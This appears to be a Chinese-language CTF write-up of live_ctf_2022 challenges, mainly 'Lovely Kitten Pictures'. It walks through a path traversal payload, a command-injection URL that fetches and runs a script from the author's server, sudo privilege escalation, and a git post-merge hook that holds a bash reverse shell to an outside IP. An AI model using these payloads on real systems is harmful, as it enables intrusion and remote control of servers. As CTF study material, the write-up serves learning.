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[live_ctf_2022]Traveler

找到漏洞点rce，难度可以做新生赛练习题

[live_ctf_2022]Lovely Kitten Pictures

此题考察一个提权的过程，从发现漏洞到获取admin权限的途中，你会先后拿到4个flag，很不错的一个模式！

首先是一些简单的信息收集，之后会看到有path，猜测文件读写漏洞，之后就成功了！
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payload

GET /pictures.php?path=assets/../../../../../../../var/www/html/cat_info.php 

下载下来的文件名是flag

之后按照大哥分析，大概是：看到fmp推测是go写的，直接尝试读取main.go，尝试成功读取它得到了源码

这里明显是一个http://localhost绕过，直接改dns解析，localhost.viewofthai.link指向自己vps，然后开启python3 -m http.server
1234 ， 下面放自己的bash.sh

payload

https://lovelykittenpictures.ctf.intigriti.io/cat_info.php?id=1%20-e%20http://localhost.viewofthai.link:1234/tmp
/thaii.sh

读到后可以看到它直接管道符之后执行了！实践验证的确可以，反弹到了shell

flag2.txt在根目录

su sudo -l

看到一个no password 的用户，是level1，直接登录它

sudo su level1

提权到了level1，flag2在此用户目录下



最后sudo -l 看到git pull命令有admin权限，根据洛神的指引需要下载https://github.com/arnav-t/git-pull-priv-escalation

里面的readme记载了用法

先把payload.tar放在python http服务的那个文件夹下

之后wget+url传到tmp目录（有权限）



然后修改 slave/.git/hooks/post-merge的内容为

#!/bin/bash
bash -i > /dev/tcp/8.129.42.140/60006 0>&1 2>&1

之后回到payload目录，记得chmod

这里要注意权限问题 这里我踩到坑了cd 回slave目录chmod 777 . -R 接着sudo -u admin git pull 即可收到反弹的admin的bash shell
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